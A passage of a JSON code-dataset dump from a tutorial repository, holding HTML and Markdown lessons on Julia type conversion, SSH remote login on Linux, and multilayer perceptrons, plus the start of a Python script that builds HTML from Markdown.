= {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5988437533378601, "alphanum_fraction": 0.6117870211601257, "avg_line_length": 39.954063415527344, "blob_id": "e65c6c4982f33afda8e007a0a6324587226d7ed6", "content_id": "66a2ad64deee009338974e0baacdd035154ffc6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 14313, "license_type": "no_license", "max_line_length": 347, "num_lines": 283, "path": "/julia/type-convert.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Julia 类型转换和类型提升 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> Julia简介 </a></li>\n<li><a href=\"./setup.html\"> Julia环境搭建及运行 </a></li>\n<li><a href=\"./start.html\"> Julia开始 </a></li>\n<li><a href=\"./repl.html\"> Julia交互 </a></li>\n<li><a href=\"./variable.html\"> Julia变量 </a></li>\n<li><a href=\"./int-float.html\"> Julia整数和浮点数 </a></li>\n<li><a href=\"./math.html\"> Julia数学运算和基本函数 </a></li>\n<li><a href=\"./complex-fraction.html\"> Julia复数和分数 </a></li>\n<li><a href=\"./string.html\"> Julia数据类型 字符串 </a></li>\n<li><a href=\"./scope.html\"> Julia变量的作用域 </a></li>\n<li><a href=\"./function.html\"> Julia函数 </a></li>\n<li><a href=\"./method.html\"> Julia方法 </a></li>\n<li><a href=\"./conditional.html\"> Julia控制流 </a></li>\n<li><a href=\"./type.html\"> Julia类型 </a></li>\n<li><a href=\"./construction-function.html\"> Julia构造函数 </a></li>\n<li><a href=\"./type-convert.html\"> Julia类型转换和类型提升 </a></li>\n<li><a href=\"./module.html\"> Julia模块 </a></li>\n<li><a href=\"./datetime.html\"> Julia日期和时间 </a></li>\n<li><a href=\"./meta.html\"> Julia元编程 </a></li>\n<li><a href=\"./md-array.html\"> Julia多维数组 </a> </li>\n<li><a href=\"./la.html\"> Julia线性代数 </a></li>\n<li><a href=\"./net-stream.html\"> Julia网络和流 </a></li>\n<li><a href=\"./parallel-computation.html\"> Julia并行计算 </a></li>\n<li><a href=\"./nullable.html\"> Julia可空类型 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Julia 类型转换和类型提升</h1>\n<h2>类型转换和类型提升</h2>\n<p>Julia 可以将数学运算符的参数提升为同一个类型,这些参数的类型曾经在[<em>整数和浮点数</em>] (/julia/int-float.html),<a href=\"/julia/type.html\"><em>类型</em></a>,及<a href=\"/julia/method.html\"><em>方法</em></a>中提到过。</p>\n<p>在某种意义上,Julia 是“非自动类型提升”的:数学运算符只是有特殊语法的函数,函数的参数不会被自动转换。但通过重载,仍能做到“自动”类型提升。</p>\n<h2>类型转换</h2>\n<p><code>convert</code> 函数用于将值转换为各种类型。它有两个参数:第一个是类型对象,第二个是要转换的值;返回值是转换为指定类型的值:</p>\n<pre><code class=\"julia\">x = 12\n\ntypeof(x)\n\nconvert(Uint8, x)\n\ntypeof(ans)\n\nconvert(FloatingPoint, x)\n\ntypeof(ans)\n</code></pre>\n\n<p>遇到不能转换时,<code>convert</code> 会引发 “no method” 错误:</p>\n<pre><code class=\"julia\">convert(FloatingPoint, &quot;foo&quot;)\n ERROR: `convert` has no method matching convert(::Type{FloatingPoint}, ::ASCIIString)\n in convert at base.jl:13\n</code></pre>\n\n<p>Julia 不做字符串和数字之间的类型转换。</p>\n<h2>定义新类型转换</h2>\n<p>要定义新类型转换,只需给 <code>convert</code> 提供新方法即可。下例将数值转换为布尔值:</p>\n<pre><code class=\"julia\">convert(::Type{Bool}, x::Number) = (x!=0)\n</code></pre>\n\n<p>此方法第一个参数的类型是<a href=\"http://julia-cn.readthedocs.org/zh_CN/latest/manual/types/#man-singleton-types\">单态类型</a>, <code>Bool</code> 是 <code>Type{Bool}</code> 的唯一实例。此方法仅在第一个参数是 <code>Bool</code> 才调用。注意第一个参数使用的语法:参数的名称在 <code>::</code> 之前是省略的,只给出了参数的类型。这是 Julia 中对于一个函数参数,如果其类型是指定但该参数的值在函数体中从未使用过,那么语法会被使用,在这个例子中,因为参数是单态类型,就永远不会有任何理由会在函数体中使用它的值。</p>\n<p>转换时检查数值是否为 0 :</p>\n<pre><code class=\"julia\">convert(Bool, 1)\n\nconvert(Bool, 0)\n\nconvert(Bool, 1im)\n\nconvert(Bool, 0im)\n</code></pre>\n\n<p>实际使用的类型转换都比较复杂,下例是 Julia 中的一个实现:</p>\n<pre><code class=\"julia\">convert{T&lt;:Real}(::Type{T}, z::Complex) = (imag(z)==0 ? convert(T,real(z)) :\n throw(InexactError()))\n\nconvert(Bool, 1im)\n</code></pre>\n\n<h2>案例:分数类型转换</h2>\n<p>继续 Julia 的 <code>Rational</code> 类型的案例研究, <a href=\"https://github.com/JuliaLang/julia/blob/master/base/rational.jl\">rational.jl</a> 中类型转换的声明紧跟在类型声明和构造函数之后:</p>\n<pre><code class=\"julia\">convert{T&lt;:Integer}(::Type{Rational{T}}, x::Rational) = Rational(convert(T,x.num),convert(T,x.den))\nconvert{T&lt;:Integer}(::Type{Rational{T}}, x::Integer) = Rational(convert(T,x), convert(T,1))\n\nfunction convert{T&lt;:Integer}(::Type{Rational{T}}, x::FloatingPoint, tol::Real)\n if isnan(x); return zero(T)//zero(T); end\n if isinf(x); return sign(x)//zero(T); end\n y = x\n a = d = one(T)\n b = c = zero(T)\n while true\n f = convert(T,round(y)); y -= f\n a, b, c, d = f*a+c, f*b+d, a, b\n if y == 0 || abs(a/b-x) &lt;= tol\n return a//b\n end\n y = 1/y\n end\nend\nconvert{T&lt;:Integer}(rt::Type{Rational{T}}, x::FloatingPoint) = convert(rt,x,eps(x))\n\nconvert{T&lt;:FloatingPoint}(::Type{T}, x::Rational) = convert(T,x.num)/convert(T,x.den)\nconvert{T&lt;:Integer}(::Type{T}, x::Rational) = div(convert(T,x.num),convert(T,x.den))\n</code></pre>\n\n<p>前四个定义可确保 <code>a//b == convert(Rational{Int64}, a/b)</code>。后两个把分数转换为浮点数和整数类型。</p>\n<h2>类型提升</h2>\n<p>类型提升是指将各种类型的值转换为同一类型。它与类型等级关系无关,例如,每个 <code>Int32</code> 值都可以被表示为 <code>Float64</code> 值,但 <code>Int32</code> 不是 <code>Float64</code> 的子类型。</p>\n<p>Julia 使用 <code>promote</code> 函数来做类型提升,其参数个数可以是任意多,它返回同样个数的同一类型的多元组;如果不能提升,则抛出异常。类型提升常用来将数值参数转换为同一类型:</p>\n<pre><code class=\"julia\">promote(1, 2.5)\n\npromote(1, 2.5, 3)\n\npromote(2, 3//4)\n\npromote(1, 2.5, 3, 3//4)\n\npromote(1.5, im)\n\npromote(1 + 2im, 3//4)\n</code></pre>\n\n<p>浮点数值提升为最高的浮点数类型。整数值提升为本地机器的原生字长或最高的整数值类型。既有整数也有浮点数时,提升为可以包括所有值的浮点数类型。既有整数也有分数时,提升为分数。既有分数也有浮点数时,提升为浮点数。既有复数也有实数时,提升为适当的复数。</p>\n<p>数值运算中,数学运算符 <code>+</code>, <code>-</code>, <code>*</code> 和 <code>/</code> 等方法定义,都“巧妙”的应用了类型提升。下例是 <a href=\"https://github.com/JuliaLang/julia/blob/master/base/promotion.jl\">promotion.jl</a> 中的一些定义:</p>\n<p><code>+(x::Number, y::Number) = +(promote(x,y)...)</code>\n<code>-(x::Number, y::Number) = -(promote(x,y)...)</code>\n<code>*(x::Number, y::Number) = *(promote(x,y)...)</code>\n<code>/(x::Number, y::Number) = /(promote(x,y)...)</code></p>\n<p><a href=\"https://github.com/JuliaLang/julia/blob/master/base/promotion.jl\">promotion.jl</a> 中还定义了其它算术和数学运算类型提升的方法,但 Julia 标准库中几乎没有调用 <code>promote</code> 。 <code>promote</code> 一般用在外部构造方法中,便于使构造函数适应各种不同类型的参数。<a href=\"https://github.com/JuliaLang/julia/blob/master/base/rational.jl\">rational.jl</a> 中提供了如下的外部构造方法:</p>\n<pre><code class=\"julia\">Rational(n::Integer, d::Integer) = Rational(promote(n,d)...)\n</code></pre>\n\n<p>此方法的例子:</p>\n<pre><code class=\"julia\">Rational(int8(15),int32(-5))\n\ntypeof(ans)\n</code></pre>\n\n<p>对自定义类型来说,最好由程序员给构造函数显式提供所期待的类型。但处理数值问题时,做自动类型提升比较方便。</p>\n<h2>定义类型提升规则</h2>\n<p>尽管可以直接给 <code>promote</code> 函数定义方法,但这太麻烦了。我们用辅助函数 <code>promote_rule</code> 来定义 <code>promote</code> 的行为。 <code>promote_rule</code> 函数接收类型对象对儿,返回另一个类型对象。此函数将参数中的类型的实例,提升为要返回的类型:</p>\n<pre><code class=\"julia\">promote_rule(::Type{Float64}, ::Type{Float32} ) = Float64\n</code></pre>\n\n<p>提升后的类型不需要与函数的参数类型相同。下面是 Julia 标准库中的例子:</p>\n<pre><code class=\"julia\">promote_rule(::Type{Uint8}, ::Type{Int8}) = Int\npromote_rule(::Type{Char}, ::Type{Uint8}) = Int32\n</code></pre>\n\n<p>不需要同时定义 <code>promote_rule(::Type{A}, ::Type{B})</code> 和 <code>promote_rule(::Type{B}, ::Type{A})</code> —— <code>promote_rule</code> 函数在提升过程中隐含了对称性。</p>\n<p><code>promote_type</code> 函数使用 <code>promote_rule</code> 函数来定义,它接收任意个数的类型对象,返回它们作为 <code>promote</code> 参数时,所应返回值的公共类型。因此可以使用 <code>promote_type</code> 来了解特定类型的组合会提升为哪种类型:</p>\n<pre><code class=\"julia\">promote_type(Int8, Uint16)\n Int64\n</code></pre>\n\n<p><code>promote</code> 使用 <code>promote_type</code> 来决定类型提升时要把参数值转换为哪种类型。完整的类型提升机制可见 <a href=\"https://github.com/JuliaLang/julia/blob/master/base/promotion.jl\"><strong>promotion.jl</strong></a>,一共有 35 行。</p>\n<h2>案例:分数类型提升</h2>\n<p>我们结束 Julia 分数类型的案例:</p>\n<pre><code class=\"julia\">promote_rule{T&lt;:Integer}(::Type{Rational{T}}, ::Type{T}) = Rational{T}\npromote_rule{T&lt;:Integer,S&lt;:Integer}(::Type{Rational{T}}, ::Type{S}) = Rational{promote_type(T,S)}\npromote_rule{T&lt;:Integer,S&lt;:Integer}(::Type{Rational{T}}, ::Type{Rational{S}}) = Rational{promote_type(T,S)}\npromote_rule{T&lt;:Integer,S&lt;:FloatingPoint}(::Type{Rational{T}}, ::Type{S}) = promote_type(T,S)\n</code></pre>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=julia></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6958831548690796, "alphanum_fraction": 0.7397078275680542, "avg_line_length": 14.708333015441895, "blob_id": "da0c72f7075057b22af726c0654575c38886e6c8", "content_id": "a3fef0c983d3730d090733db30628b6fb3adc4ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1203, "license_type": "no_license", "max_line_length": 70, "num_lines": 48, "path": "/linux/ssh.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Linux 远程登录\n\nLinux一般作为服务器使用,这时我们就需要远程登录到Linux服务器来管理维护系统。\n\nLinux系统中是通过ssh服务实现的远程登录功能,默认ssh服务端口号为 22。\n\n## 从Linux终端利用登录远程服务器\n\n安装ssh并启动ssh服务:\n\n```bash\n#apt install openssh-server && service sshd start\n#右侧实验区系统已经安装\n```\n\n终端下使用ssh登录远程服务器:\n\n```bash\nssh -p 22 [email protected]\n```\n\n**-p** 后面是端口,默认不指定的话是22\n\n**username** 是服务器用户名,**127.0.0.1** 是本地服务器 ip,也可以是远程服务器的IP.\n\n回国后会出现如下类似提示:\n\n```reponse\nThe authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.\nECDSA key fingerprint is SHA256:8c69pPPyheuR4qjFit+ZSz47G8mfgKYXRrPFex6Vcj4.\nAre you sure you want to continue connecting (yes/no)? \n```\n\n回车输入yes后,输入实验区提示的密码即可登录云环境系统。\n\n## 实验\n\n在右侧实验区,尝试从本地登陆本地\n\n```shell\nssh root@localhost\n```\n\n## 从Windows远程登陆\n\nWindow系统上 Linux 远程登录客户端有SecureCRT, Putty, SSH Secure Shell等。\n\nputty下载地址:http://www.putty.org/" }, { "alpha_fraction": 0.6043980717658997, "alphanum_fraction": 0.6211152076721191, "avg_line_length": 36.29706954956055, "blob_id": "98e0e22676b4bf464d4d7f2f04df6d53a979e18c", "content_id": "28dee52c394a791cb64602d9f5c4cd5ca45b5c28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 12111, "license_type": "no_license", "max_line_length": 437, "num_lines": 239, "path": "/d2l-mxnet/chapter_deep-learning-basics/mlp.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>多层感知机 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>多层感知机</h1>\n<p>我们已经介绍了包括线性回归和softmax回归在内的单层神经网络。然而深度学习主要关注多层模型。在本节中,我们将以多层感知机(multilayer perceptron,MLP)为例,介绍多层神经网络的概念。</p>\n<h2>隐藏层</h2>\n<p>多层感知机在单层神经网络的基础上引入了一到多个隐藏层(hidden layer)。隐藏层位于输入层和输出层之间。图3.3展示了一个多层感知机的神经网络图。</p>\n<p><img alt=\"带有隐藏层的多层感知机。它含有一个隐藏层,该层中有5个隐藏单元\" src=\"../img/mlp.svg\" /></p>\n<p>在图3.3所示的多层感知机中,输入和输出个数分别为4和3,中间的隐藏层中包含了5个隐藏单元(hidden unit)。由于输入层不涉及计算,图3.3中的多层感知机的层数为2。由图3.3可见,隐藏层中的神经元和输入层中各个输入完全连接,输出层中的神经元和隐藏层中的各个神经元也完全连接。因此,多层感知机中的隐藏层和输出层都是全连接层。</p>\n<p>具体来说,给定一个小批量样本$\\boldsymbol{X} \\in \\mathbb{R}^{n \\times d}$,其批量大小为$n$,输入个数为$d$。假设多层感知机只有一个隐藏层,其中隐藏单元个数为$h$。记隐藏层的输出(也称为隐藏层变量或隐藏变量)为$\\boldsymbol{H}$,有$\\boldsymbol{H} \\in \\mathbb{R}^{n \\times h}$。因为隐藏层和输出层均是全连接层,可以设隐藏层的权重参数和偏差参数分别为$\\boldsymbol{W}_h \\in \\mathbb{R}^{d \\times h}$和 $\\boldsymbol{b}_h \\in \\mathbb{R}^{1 \\times h}$,输出层的权重和偏差参数分别为$\\boldsymbol{W}_o \\in \\mathbb{R}^{h \\times q}$和$\\boldsymbol{b}_o \\in \\mathbb{R}^{1 \\times q}$。</p>\n<p>我们先来看一种含单隐藏层的多层感知机的设计。其输出$\\boldsymbol{O} \\in \\mathbb{R}^{n \\times q}$的计算为</p>\n<p>$$\n\\begin{aligned}\n\\boldsymbol{H} &amp;= \\boldsymbol{X} \\boldsymbol{W}_h + \\boldsymbol{b}_h,\\\n\\boldsymbol{O} &amp;= \\boldsymbol{H} \\boldsymbol{W}_o + \\boldsymbol{b}_o,\n\\end{aligned} <br />\n$$</p>\n<p>也就是将隐藏层的输出直接作为输出层的输入。如果将以上两个式子联立起来,可以得到</p>\n<p>$$\n\\boldsymbol{O} = (\\boldsymbol{X} \\boldsymbol{W}_h + \\boldsymbol{b}_h)\\boldsymbol{W}_o + \\boldsymbol{b}_o = \\boldsymbol{X} \\boldsymbol{W}_h\\boldsymbol{W}_o + \\boldsymbol{b}_h \\boldsymbol{W}_o + \\boldsymbol{b}_o.\n$$</p>\n<p>从联立后的式子可以看出,虽然神经网络引入了隐藏层,却依然等价于一个单层神经网络:其中输出层权重参数为$\\boldsymbol{W}_h\\boldsymbol{W}_o$,偏差参数为$\\boldsymbol{b}_h \\boldsymbol{W}_o + \\boldsymbol{b}_o$。不难发现,即便再添加更多的隐藏层,以上设计依然只能与仅含输出层的单层神经网络等价。</p>\n<h2>激活函数</h2>\n<p>上述问题的根源在于全连接层只是对数据做仿射变换(affine transformation),而多个仿射变换的叠加仍然是一个仿射变换。解决问题的一个方法是引入非线性变换,例如对隐藏变量使用按元素运算的非线性函数进行变换,然后再作为下一个全连接层的输入。这个非线性函数被称为激活函数(activation function)。下面我们介绍几个常用的激活函数。</p>\n<h3>ReLU函数</h3>\n<p>ReLU(rectified linear unit)函数提供了一个很简单的非线性变换。给定元素$x$,该函数定义为</p>\n<p>$$\\text{ReLU}(x) = \\max(x, 0).$$</p>\n<p>可以看出,ReLU函数只保留正数元素,并将负数元素清零。为了直观地观察这一非线性变换,我们先定义一个绘图函数<code>xyplot</code>。</p>\n<p>```{.python .input n=6}\n%matplotlib inline\nimport d2lzh as d2l\nfrom mxnet import autograd, nd</p>\n<p>def xyplot(x_vals, y_vals, name):\n d2l.set_figsize(figsize=(5, 2.5))\n d2l.plt.plot(x_vals.asnumpy(), y_vals.asnumpy())\n d2l.plt.xlabel('x')\n d2l.plt.ylabel(name + '(x)')</p>\n<pre><code>\n我们接下来通过`NDArray`提供的`relu`函数来绘制ReLU函数。可以看到,该激活函数是一个两段线性函数。\n\n```{.python .input n=7}\nx = nd.arange(-8.0, 8.0, 0.1)\nx.attach_grad()\nwith autograd.record():\n y = x.relu()\nxyplot(x, y, 'relu')\n</code></pre>\n\n<p>显然,当输入为负数时,ReLU函数的导数为0;当输入为正数时,ReLU函数的导数为1。尽管输入为0时ReLU函数不可导,但是我们可以取此处的导数为0。下面绘制ReLU函数的导数。</p>\n<p>```{.python .input}\ny.backward()\nxyplot(x, x.grad, 'grad of relu')</p>\n<pre><code>\n### sigmoid函数\n\nsigmoid函数可以将元素的值变换到0和1之间:\n\n$$\\text{sigmoid}(x) = \\frac{1}{1 + \\exp(-x)}.$$\n\nsigmoid函数在早期的神经网络中较为普遍,但它目前逐渐被更简单的ReLU函数取代。在后面“循环神经网络”一章中我们会介绍如何利用它值域在0到1之间这一特性来控制信息在神经网络中的流动。下面绘制了sigmoid函数。当输入接近0时,sigmoid函数接近线性变换。\n\n```{.python .input n=8}\nwith autograd.record():\n y = x.sigmoid()\nxyplot(x, y, 'sigmoid')\n</code></pre>\n\n<p>依据链式法则,sigmoid函数的导数为</p>\n<p>$$\\text{sigmoid}'(x) = \\text{sigmoid}(x)\\left(1-\\text{sigmoid}(x)\\right).$$</p>\n<p>下面绘制了sigmoid函数的导数。当输入为0时,sigmoid函数的导数达到最大值0.25;当输入越偏离0时,sigmoid函数的导数越接近0。</p>\n<p>```{.python .input}\ny.backward()\nxyplot(x, x.grad, 'grad of sigmoid')</p>\n<pre><code>\n### tanh函数\n\ntanh(双曲正切)函数可以将元素的值变换到-1和1之间:\n\n$$\\text{tanh}(x) = \\frac{1 - \\exp(-2x)}{1 + \\exp(-2x)}.$$\n\n我们接着绘制tanh函数。当输入接近0时,tanh函数接近线性变换。虽然该函数的形状和sigmoid函数的形状很像,但tanh函数在坐标系的原点上对称。\n\n```{.python .input n=9}\nwith autograd.record():\n y = x.tanh()\nxyplot(x, y, 'tanh')\n</code></pre>\n\n<p>依据链式法则,tanh函数的导数为</p>\n<p>$$\\text{tanh}'(x) = 1 - \\text{tanh}^2(x).$$</p>\n<p>下面绘制了tanh函数的导数。当输入为0时,tanh函数的导数达到最大值1;当输入越偏离0时,tanh函数的导数越接近0。</p>\n<p><code>{.python .input}\ny.backward()\nxyplot(x, x.grad, 'grad of tanh')</code></p>\n<h2>多层感知机</h2>\n<p>多层感知机就是含有至少一个隐藏层的由全连接层组成的神经网络,且每个隐藏层的输出通过激活函数进行变换。多层感知机的层数和各隐藏层中隐藏单元个数都是超参数。以单隐藏层为例并沿用本节之前定义的符号,多层感知机按以下方式计算输出:</p>\n<p>$$\n\\begin{aligned}\n\\boldsymbol{H} &amp;= \\phi(\\boldsymbol{X} \\boldsymbol{W}_h + \\boldsymbol{b}_h),\\\n\\boldsymbol{O} &amp;= \\boldsymbol{H} \\boldsymbol{W}_o + \\boldsymbol{b}_o,\n\\end{aligned}\n$$</p>\n<p>其中$\\phi$表示激活函数。在分类问题中,我们可以对输出$\\boldsymbol{O}$做softmax运算,并使用softmax回归中的交叉熵损失函数。\n在回归问题中,我们将输出层的输出个数设为1,并将输出$\\boldsymbol{O}$直接提供给线性回归中使用的平方损失函数。</p>\n<h2>小结</h2>\n<ul>\n<li>多层感知机在输出层与输入层之间加入了一个或多个全连接隐藏层,并通过激活函数对隐藏层输出进行变换。</li>\n<li>常用的激活函数包括ReLU函数、sigmoid函数和tanh函数。</li>\n</ul>\n<h2>练习</h2>\n<ul>\n<li>应用链式法则,推导出sigmoid函数和tanh函数的导数的数学表达式。</li>\n<li>查阅资料,了解其他的激活函数。</li>\n</ul>\n<h2>扫码直达<a href=\"https://discuss.gluon.ai/t/topic/6447\">讨论区</a></h2>\n<p><img alt=\"\" src=\"../img/qr_mlp.svg\" /></p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5743087530136108, "alphanum_fraction": 0.5794931054115295, "avg_line_length": 33.95973205566406, "blob_id": "d639f9f15f14e17d4a187309e2a4a0e1d9078ea0", "content_id": "5672092f480c5f72f75400b99f7a498067fac9ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5208, "license_type": "no_license", "max_line_length": 145, "num_lines": 149, "path": "/build/build.py", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "#pip3 install markdown -i https://pypi.tuna.tsinghua.edu.cn/simple/\n#or\n#pip install markdown -i https://pypi.tuna.tsinghua.edu.cn/simple/\n\nimport os,json\nimport markdown as md\nimport codecs\n\n\ndef makehtml(path,nav=0,level=0,lessontype=\"terminal\",backendtype='k',datalanguage=\"python\"):\n \n templatefilepath='./template/{templatefilename}.html'\n templatefilepath=templatefilepath.replace('{templatefilename}',lessontype)\n htmltemplatefile=open(templatefilepath,'r',encoding=\"utf-8\")\n htmltemplate=htmltemplatefile.read()\n htmltemplatefile.close()\n\n\n if level!=0:\n leftnavcontent=nav\n else:\n navfilefile=open(os.path.join(path,\"nav.html\"), mode=\"r\", encoding=\"utf-8\")\n leftnavcontent=navfilefile.read()\n navfilefile.close()\n \n \n 